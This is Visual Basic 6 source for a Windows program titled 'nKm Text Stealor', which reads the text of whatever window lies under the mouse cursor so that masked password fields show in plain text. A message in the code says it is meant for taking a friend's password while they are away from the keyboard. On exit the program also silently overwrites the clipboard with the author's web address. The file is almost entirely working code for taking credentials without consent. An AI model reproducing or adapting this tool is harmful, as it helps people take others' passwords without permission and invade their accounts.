PAsswordView

Private Declare Function GetCursorPos Lib "user32" _
(lpPoint As Moo) As Long
Private Declare Function WindowFromPointXY Lib "user32" _
Alias "WindowFromPoint" (ByVal xPoint As Long, _
ByVal yPoint As Long) As Long
Private Declare Function SendMessageByNum& Lib "user32" _
Alias "SendMessageA" (ByVal hwnd As Long, _
ByVal wMsg As Long, ByVal wParam As Long, _
ByVal lParam As Long)
Private Declare Function SendMessageByString Lib "user32" _
Alias "SendMessageA" (ByVal hwnd As Long, _
ByVal wMsg As Long, ByVal wParam As Long, _
ByVal lParam As String) As Long
Private Type Moo
x As Long
Y As Long
End Type
Function Hoover()
Dim nKm1 As Moo
Dim nKmX As Long
Dim nKmY As Long
Call GetCursorPos(nKm1)
nKmX = nKm1.x
nKmY = nKm1.Y
Hoover = WindowFromPointXY(nKmX, nKmY)
End Function

Function Get_Text(child)
Dim GetTrim
Dim TrimSpace$
Dim getstring
GetTrim = SendMessageByNum(child, 14, 0&, 0&)
TrimSpace$ = Space$(GetTrim)
getstring = SendMessageByString(child, 13, _
GetTrim + 1, TrimSpace$)
Get_Text = TrimSpace$
End Function

Private Sub Form_Load()
Me.Caption = "nKm Text Stealor - " & _
"http://www.angelfire.com/anime/imnkm/About.nKm " & _
"To Get my AIM sn."
End Sub

Private Sub Form_Resize()
Label1.Width = Me.ScaleWidth
Label1.Height = Me.ScaleHeight
End Sub

Private Sub Form_Unload(Cancel As Integer)
Msg = "this is great For decoding thoughs ******** " & _
"passwords. like ever been at a friends house..... " & _
"and they like Type their PW in... Then are like'i " & _
"gotta Goto the bathroom'.hehe. so yu just load up " & _
"this baby and decode their password. lol lol lol. "
Clipboard.SetText _
"http://www.angelfire.com/anime/imnkm/About.nKm"
End Sub

Private Sub Label1_Click()
End Sub

Private Sub Timer1_Timer()
Label1.Caption = Get_Text(Hoover)
End Sub